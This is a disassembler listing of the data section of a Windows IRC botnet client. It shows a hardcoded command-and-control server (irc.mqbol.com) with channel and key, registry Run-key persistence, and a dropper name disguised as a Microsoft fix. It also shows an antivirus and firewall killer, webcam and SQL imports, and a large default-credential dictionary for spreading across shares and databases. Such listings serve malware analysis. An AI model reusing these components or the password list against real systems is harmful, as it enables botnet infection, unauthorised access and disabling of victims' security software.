aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4014E0:loc_401FEEo
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4014E0+B1Bo
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4014E0+B23o
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4014E0+B30o
align 4
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4014E0+B3Do
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4014E0:loc_402062o
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4014E0+B8Fo
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4014E0+B97o
align 10h
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4014E0:loc_4020ACo
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4014E0+BD9o
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4014E0+BE1o
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4014E0+BEEo
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4014E0+BFBo
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4014E0+C08o
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4014E0+C15o
align 10h
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4014E0:loc_40214Ao
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4014E0+C77o
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4014E0+C7Fo
align 4
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+28o
align 10h
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+5Co
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+90o
align 4
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+C4o
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+F8o
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40219C+12Co
align 10h
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40219C+160o
align 4
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+194o
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40219C+1C8o
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40219C+1FCo
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+230o
align 10h
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+264o
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+298o
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+2CCo
align 10h
unk_436AF0 db 2Dh ; - ; DATA XREF: sub_40219C+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 10h
a__3: ; DATA XREF: ___:004024FCo
unicode 0, <.>,0
a__4: ; DATA XREF: ___:00402514o
unicode 0, <.>,0
unk_436B18 db 2Dh ; - ; DATA XREF: sub_402599+8Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
unk_436B44 db 2Dh ; - ; DATA XREF: sub_402599:loc_40262Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_436B74 db 2Dh ; - ; DATA XREF: sub_402599:loc_4025F2o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_436B98 db 2Dh ; - ; DATA XREF: sub_402599:loc_40265Eo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_436BC8 db 2Dh ; - ; DATA XREF: sub_402599+43o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGetting_0 db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40267D+46o
dword_436C00 dd 0F5Fh ; DATA XREF: ___:00402C30r
; ___:00402CC5r
dword_436C04 dd 0F5Fh ; DATA XREF: ___:00402D11r
dword_436C08 dd 7E4h ; DATA XREF: sub_403038:loc_406FEDr
dword_436C0C dd 45h ; DATA XREF: sub_403038+34FCr
; sub_4097CE+42r
dword_436C10 dd 7D1h ; DATA XREF: sub_403038:loc_40661Fr
; sub_4097CE:loc_409A98r
dword_436C14 dd 201h ; DATA XREF: sub_403038:loc_406795r
word_436C18 dw 7C7h ; DATA XREF: sub_403038:loc_407110r
align 4
dword_436C1C dd 1 ; DATA XREF: sub_403038+627r
dword_436C20 dd 1 ; DATA XREF: ___:004028CCr
dword_436C24 dd 1 ; DATA XREF: ___:loc_402AD0r
; sub_411FA3+Cr
byte_436C28 db 2Eh ; DATA XREF: sub_403038+A61r
; sub_403038+B1Br ...
align 4
dword_436C2C dd 5 ; DATA XREF: sub_408768+39r
; sub_408768+5Fr ...
dword_436C30 dd 4 ; DATA XREF: sub_402D58+78r
; sub_403038+273r ...
dword_436C34 dd 1 ; DATA XREF: sub_402D58+72r
; sub_403038+26Dr
aMqbol db 'mqbol',0 ; DATA XREF: ___:004027EFo
; sub_403038:loc_406E4Ao ...
align 10h
aBy db 'By',0 ; DATA XREF: sub_403038:loc_407216o
align 4
aH4ck3d39355 db 'H4CK3D39355',0 ; DATA XREF: sub_403038+55ABo
; sub_403038+567Ao
aIrc_mqbol_com db 'irc.mqbol.com',0 ; DATA XREF: ___:00402C1Co
; ___:00402CB6o
align 10h
aRpmxp db '#RpmXp#',0 ; DATA XREF: ___:00402C3Co
; ___:00402CCCo
aSend_0 db 'send',0 ; DATA XREF: ___:00402C53o
; ___:00402CDEo
align 10h
byte_436C70 db 69h ; DATA XREF: ___:loc_402CF4r
; ___:00402D02o
db 72h, 63h, 2Eh
dd 6F62716Dh, 6F632E6Ch, 6Dh
dword_436C80 dd 6D705223h, 237058h ; DATA XREF: ___:00402D18o
aSend_1 db 'send',0 ; DATA XREF: ___:00402D2Ao
align 10h
aMicrosoftfix_e db 'microsoftFIX.exe',0 ; DATA XREF: ___:004028D2o
; ___:004028F6w ...
align 4
aXtx1_sys db 'xtx1.sys',0
align 10h
aMicrosoftGetwa db 'MicroSoft Getway mqbol',0 ; DATA XREF: sub_401000+Eo
align 4
unicode 0, <->,0
aMicrosoft_exe db 'microsoft.exe',0
align 4
aXRi db '-x+Ri',0 ; DATA XREF: sub_403038+56FAo
align 4
aRpmxp_0 db '#RpmXp',0 ; DATA XREF: sub_403038+2022o
; sub_403038+203Eo ...
align 4
off_436CEC dd offset dword_43702C ; DATA XREF: sub_403038:loc_40862Do
off_436CF0 dd offset aMircV6_10Khale ; DATA XREF: sub_403038+889r
; sub_403038+5611o
; "mIRC v6.10 Khaled Mardam-Bey"
dd offset aMircV6_12Khale ; "mIRC v6.12 Khaled Mardam-Bey"
dd offset aMircV6_14Khale ; "mIRC v6.14 Khaled Mardam-Bey"
dd offset aMircV6_16Khale ; "mIRC v6.16 Khaled Mardam-Bey"
aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicr_0 db 'Software\Microsoft\OLE',0
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0
align 4
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 8
dd offset dword_4D318C
dd offset aAdministrato_1 ; "administrator"
dd offset aAdministrado_0 ; "administrador"
dd offset aAdministrate_0 ; "administrateur"
dd offset aAdministrat_0 ; "administrat"
dd offset aAdmins_0 ; "admins"
dd offset aAdmin_0 ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003_0 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_1 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault_0 ; "default"
dd offset aSystem ; "system"
dd offset aServer_5 ; "server"
dd offset aRoot_0 ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_1 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter_0 ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob_0 ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase_0 ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2_0 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa_0 ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle_0 ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet_0 ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent_0 ; "student"
dd offset aTeacher_0 ; "teacher"
dd offset aStaff_0 ; "staff"
align 8
dword_437028 dd 10h ; DATA XREF: sub_403038+ACBr
; sub_403038+AF7r ...
dword_43702C dd 65726944h, 6D646140h, 6E2E6E69h, 7465h ; DATA XREF: ___:off_436CECo
aMircV6_10Khale db 'mIRC v6.10 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_436CF0o
align 4
aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: ___:00436CF4o
align 4
aMircV6_14Khale db 'mIRC v6.14 Khaled Mardam-Bey',0 ; DATA XREF: ___:00436CF8o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:00436CFCo
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:00436DA8o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: ___:00436DACo
align 4
aAdministrateur db 'administrateur',0 ; DATA XREF: ___:00436DB0o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: ___:00436DB4o
aAdmins db 'admins',0 ; DATA XREF: ___:00436DB8o
align 10h
aAdmin db 'admin',0 ; DATA XREF: ___:00436DBCo
align 4
aStaff db 'staff',0 ; DATA XREF: ___:00436DC0o
align 10h
aRoot db 'root',0 ; DATA XREF: ___:00436DC4o
align 4
aComputer db 'computer',0 ; DATA XREF: ___:00436DC8o
align 4
aOwner db 'owner',0 ; DATA XREF: ___:00436DCCo
align 4
aStudent db 'student',0 ; DATA XREF: ___:00436DD0o
aTeacher db 'teacher',0 ; DATA XREF: ___:00436DD4o
aWwwadmin db 'wwwadmin',0 ; DATA XREF: ___:00436DD8o
align 4
aGuest_0 db 'guest',0 ; DATA XREF: ___:00436DDCo
align 10h
aDefault db 'default',0 ; DATA XREF: ___:00436DE0o
aDatabase db 'database',0 ; DATA XREF: ___:00436DE4o
align 4
aDba db 'dba',0 ; DATA XREF: ___:00436DE8o
aOracle db 'oracle',0 ; DATA XREF: ___:00436DECo
align 10h
aDb2 db 'db2',0 ; DATA XREF: ___:00436DF0o
aAdministrato_1 db 'administrator',0 ; DATA XREF: ___:00436DFCo
align 4
aAdministrado_0 db 'administrador',0 ; DATA XREF: ___:00436E00o
align 4
aAdministrate_0 db 'administrateur',0 ; DATA XREF: ___:00436E04o
align 4
aAdministrat_0 db 'administrat',0 ; DATA XREF: ___:00436E08o
aAdmins_0 db 'admins',0 ; DATA XREF: ___:00436E0Co
align 4
aAdmin_0 db 'admin',0 ; DATA XREF: ___:00436E10o
align 10h
aAdm db 'adm',0 ; DATA XREF: ___:00436E14o
aPassword1 db 'password1',0 ; DATA XREF: ___:00436E18o
align 10h
aPassword db 'password',0 ; DATA XREF: ___:00436E1Co
align 4
aPasswd db 'passwd',0 ; DATA XREF: ___:00436E20o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: ___:00436E24o
align 10h
aPass db 'pass',0 ; DATA XREF: ___:00436E28o
align 4
aPwd db 'pwd',0 ; DATA XREF: ___:00436E2Co
a007 db '007',0 ; DATA XREF: ___:00436E30o
a1: ; DATA XREF: ___:00436E34o
unicode 0, <1>,0
a12 db '12',0 ; DATA XREF: ___:00436E38o
align 4
a123 db '123',0 ; DATA XREF: ___:00436E3Co
a1234 db '1234',0 ; DATA XREF: ___:00436E40o
align 4
a12345 db '12345',0 ; DATA XREF: ___:00436E44o
align 4
a123456 db '123456',0 ; DATA XREF: ___:00436E48o
align 4
a1234567 db '1234567',0 ; DATA XREF: ___:00436E4Co
a12345678 db '12345678',0 ; DATA XREF: ___:00436E50o
align 4
a123456789 db '123456789',0 ; DATA XREF: ___:00436E54o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: ___:00436E58o
align 10h
a2000 db '2000',0 ; DATA XREF: ___:00436E5Co
align 4
a2001 db '2001',0 ; DATA XREF: ___:00436E60o
align 10h
a2002 db '2002',0 ; DATA XREF: ___:00436E64o
align 4
a2003_0 db '2003',0 ; DATA XREF: ___:00436E68o
align 10h
a2004 db '2004',0 ; DATA XREF: ___:00436E6Co
align 4
aTest db 'test',0 ; DATA XREF: ___:00436E70o
align 10h
aGuest_1 db 'guest',0 ; DATA XREF: ___:00436E74o
align 4
aNone db 'none',0 ; DATA XREF: ___:00436E78o
align 10h
aDemo db 'demo',0 ; DATA XREF: ___:00436E7Co
align 4
aUnix db 'unix',0 ; DATA XREF: ___:00436E80o
align 10h
aLinux db 'linux',0 ; DATA XREF: ___:00436E84o
align 4
aChangeme db 'changeme',0 ; DATA XREF: ___:00436E88o
align 4
aDefault_0 db 'default',0 ; DATA XREF: ___:00436E8Co
aSystem db 'system',0 ; DATA XREF: ___:00436E90o
align 4
aServer_5 db 'server',0 ; DATA XREF: ___:00436E94o
align 4
aRoot_0 db 'root',0 ; DATA XREF: ___:00436E98o
align 4
aNull_1 db 'null',0 ; DATA XREF: ___:00436E9Co
align 4
aQwerty db 'qwerty',0 ; DATA XREF: ___:00436EA0o
align 4
aMail db 'mail',0 ; DATA XREF: ___:00436EA4o
align 4
aOutlook db 'outlook',0 ; DATA XREF: ___:00436EA8o
aWeb db 'web',0 ; DATA XREF: ___:00436EACo
aWww db 'www',0 ; DATA XREF: ___:00436EB0o
aInternet db 'internet',0 ; DATA XREF: ___:00436EB4o
align 4
aAccounts db 'accounts',0 ; DATA XREF: ___:00436EB8o
align 4
aAccounting db 'accounting',0 ; DATA XREF: ___:00436EBCo
align 10h
aHome db 'home',0 ; DATA XREF: ___:00436EC0o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: ___:00436EC4o
align 4
aUser_1 db 'user',0 ; DATA XREF: ___:00436EC8o
align 4
aOem db 'oem',0 ; DATA XREF: ___:00436ECCo
aOemuser db 'oemuser',0 ; DATA XREF: ___:00436ED0o
aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00436ED4o
align 4
aWindows db 'windows',0 ; DATA XREF: ___:00436ED8o
aWin98 db 'win98',0 ; DATA XREF: ___:00436EDCo
align 4
aWin2k db 'win2k',0 ; DATA XREF: ___:00436EE0o
align 4
aWinxp db 'winxp',0 ; DATA XREF: ___:00436EE4o
align 4
aWinnt db 'winnt',0 ; DATA XREF: ___:00436EE8o
align 4
aWin2000 db 'win2000',0 ; DATA XREF: ___:00436EECo
aQaz db 'qaz',0 ; DATA XREF: ___:00436EF0o
aAsd db 'asd',0 ; DATA XREF: ___:00436EF4o
aZxc db 'zxc',0 ; DATA XREF: ___:00436EF8o
aQwe db 'qwe',0 ; DATA XREF: ___:00436EFCo
aBob db 'bob',0 ; DATA XREF: ___:00436F00o
aJen db 'jen',0 ; DATA XREF: ___:00436F04o
aJoe db 'joe',0 ; DATA XREF: ___:00436F08o
aFred db 'fred',0 ; DATA XREF: ___:00436F0Co
align 4
aBill db 'bill',0 ; DATA XREF: ___:00436F10o
align 10h
aMike db 'mike',0 ; DATA XREF: ___:00436F14o
align 4
aJohn db 'john',0 ; DATA XREF: ___:00436F18o
align 10h
aPeter db 'peter',0 ; DATA XREF: ___:00436F1Co
align 4
aLuke db 'luke',0 ; DATA XREF: ___:00436F20o
align 10h
aSam db 'sam',0 ; DATA XREF: ___:00436F24o
aSue db 'sue',0 ; DATA XREF: ___:00436F28o
aSusan db 'susan',0 ; DATA XREF: ___:00436F2Co
align 10h
aPeter_0 db 'peter',0 ; DATA XREF: ___:00436F30o
align 4
aBrian db 'brian',0 ; DATA XREF: ___:00436F34o
align 10h
aLee db 'lee',0 ; DATA XREF: ___:00436F38o
aNeil db 'neil',0 ; DATA XREF: ___:00436F3Co
align 4
aIan db 'ian',0 ; DATA XREF: ___:00436F40o
aChris db 'chris',0 ; DATA XREF: ___:00436F44o
align 4
aEric db 'eric',0 ; DATA XREF: ___:00436F48o
align 10h
aGeorge db 'george',0 ; DATA XREF: ___:00436F4Co
align 4
aKate db 'kate',0 ; DATA XREF: ___:00436F50o
align 10h
aBob_0 db 'bob',0 ; DATA XREF: ___:00436F54o
aKatie db 'katie',0 ; DATA XREF: ___:00436F58o
align 4
aMary db 'mary',0 ; DATA XREF: ___:00436F5Co
align 4
aLogin db 'login',0 ; DATA XREF: ___:00436F60o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: ___:00436F64o
align 4
aTechnical db 'technical',0 ; DATA XREF: ___:00436F68o
align 4
aBackup db 'backup',0 ; DATA XREF: ___:00436F6Co
align 4
aExchange db 'exchange',0 ; DATA XREF: ___:00436F70o
align 4
aFuck db 'fuck',0 ; DATA XREF: ___:00436F74o
align 10h
aBitch db 'bitch',0 ; DATA XREF: ___:00436F78o
align 4
aSlut db 'slut',0 ; DATA XREF: ___:00436F7Co
align 10h
aSex db 'sex',0 ; DATA XREF: ___:00436F80o
aGod db 'god',0 ; DATA XREF: ___:00436F84o
aHell db 'hell',0 ; DATA XREF: ___:00436F88o
align 10h
aHello db 'hello',0 ; DATA XREF: ___:00436F8Co
align 4
aDomain db 'domain',0 ; DATA XREF: ___:00436F90o
align 10h
aDomainpass db 'domainpass',0 ; DATA XREF: ___:00436F94o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00436F98o
align 4
aDatabase_0 db 'database',0 ; DATA XREF: ___:00436F9Co
align 4
aAccess db 'access',0 ; DATA XREF: ___:00436FA0o
align 10h
aDbpass db 'dbpass',0 ; DATA XREF: ___:00436FA4o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00436FA8o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00436FACo
align 4
aData db 'data',0 ; DATA XREF: ___:00436FB0o
align 4
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00436FB4o
align 10h
aDb1 db 'db1',0 ; DATA XREF: ___:00436FB8o
aDb2_0 db 'db2',0 ; DATA XREF: ___:00436FBCo
aDb1234 db 'db1234',0 ; DATA XREF: ___:00436FC0o
align 10h
aSa_0 db 'sa',0 ; DATA XREF: ___:00436FC4o
align 4
aSql db 'sql',0 ; DATA XREF: ___:00436FC8o
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00436FCCo
align 4
aOrainstall db 'orainstall',0 ; DATA XREF: ___:00436FD0o
align 4
aOracle_0 db 'oracle',0 ; DATA XREF: ___:00436FD4o
align 10h
aIbm db 'ibm',0 ; DATA XREF: ___:00436FD8o
aCisco db 'cisco',0 ; DATA XREF: ___:00436FDCo
align 4
aDell db 'dell',0 ; DATA XREF: ___:00436FE0o
align 4
aCompaq db 'compaq',0 ; DATA XREF: ___:00436FE4o
align 4
aSiemens db 'siemens',0 ; DATA XREF: ___:00436FE8o
aHp db 'hp',0 ; DATA XREF: ___:00436FECo
align 4
aNokia db 'nokia',0 ; DATA XREF: ___:00436FF0o
align 10h
aXp db 'xp',0 ; DATA XREF: ___:00436FF4o
align 4
aControl db 'control',0 ; DATA XREF: ___:00436FF8o
aOffice db 'office',0 ; DATA XREF: ___:00436FFCo
align 4
aBlank db 'blank',0 ; DATA XREF: ___:00437000o
align 4
aWinpass db 'winpass',0 ; DATA XREF: ___:00437004o
aMain db 'main',0 ; DATA XREF: ___:00437008o
align 4
aLan db 'lan',0 ; DATA XREF: ___:0043700Co
aInternet_0 db 'internet',0 ; DATA XREF: ___:00437010o
align 4
aIntranet db 'intranet',0 ; DATA XREF: ___:00437014o
align 4
aStudent_0 db 'student',0 ; DATA XREF: ___:00437018o
aTeacher_0 db 'teacher',0 ; DATA XREF: ___:0043701Co
aStaff_0 db 'staff',0 ; DATA XREF: ___:00437020o
align 10h
aSS_6 db '%s%s',0 ; DATA XREF: ___:0040289Co
align 4
aSS_7 db '%s\%s',0 ; DATA XREF: ___:00402918o
align 10h
aSDS_0 db '%s %d "%s"',0 ; DATA XREF: ___:00402A1Eo
align 4
dword_4375FC dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: ___:00402AF3o
dd 2E646574h, 0
unk_437618 db 2Dh ; - ; DATA XREF: ___:00402B2Eo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
unk_43763C db 2Dh ; - ; DATA XREF: ___:00402B7Fo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
dword_43767C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00402BACo
aServerRunningO db '- Server running on Port: 113.',0
align 4
dword_4376A8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00402BF7o
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
unk_4376DC db 2Dh ; - ; DATA XREF: sub_402D58+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_402EC0+35o
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_402EC0+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
asc_437724 db ' :',0 ; DATA XREF: sub_403038+86o
align 4
asc_437728: ; DATA XREF: sub_403038+AEo
unicode 0, < >,0
asc_43772C: ; DATA XREF: sub_403038:loc_403103o
unicode 0, < >,0
asc_437730: ; DATA XREF: sub_403038+191o
unicode 0, <!>,0
aPing db 'PING',0 ; DATA XREF: sub_403038+1A0o
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+1BAo
align 4
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+1DBo
align 4
a001 db '001',0 ; DATA XREF: sub_403038+1F7o
a005 db '005',0 ; DATA XREF: sub_403038+20Co
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+56EDo
align 10h
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+5702o
align 10h
aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+5715o
align 10h
a302 db '302',0 ; DATA XREF: sub_403038+221o
a@: ; DATA XREF: sub_403038+231o
unicode 0, <@>,0
a433 db '433',0 ; DATA XREF: sub_403038+25Co
aNickS_3 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+284o
align 4
aKick db 'KICK',0 ; DATA XREF: sub_403038+2DBo
align 10h
unk_4377B0 db 2Dh ; - ; DATA XREF: sub_403038+34Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User %s logged out.',0
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+365o
aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+3AFo
align 10h
aNick db 'NICK',0 ; DATA XREF: sub_403038+3C2o
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_403038+4E0o
align 10h
aPart db 'PART',0 ; DATA XREF: sub_403038+505o
align 4
aQuit db 'QUIT',0 ; DATA XREF: sub_403038+516o
align 10h
unk_437810 db 2Dh ; - ; DATA XREF: sub_403038+5A5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User: %s logged out.',0
align 4
aPart_0 db 'PART',0 ; DATA XREF: sub_403038+5C2o
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+5E6o
a353 db '353',0 ; DATA XREF: sub_403038+554o
unk_437850 db 2Dh ; - ; DATA XREF: sub_403038+585o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: %s.',0
aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_403038+5F1o
aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_403038+602o
align 10h
a332 db '332',0 ; DATA XREF: sub_403038+613o
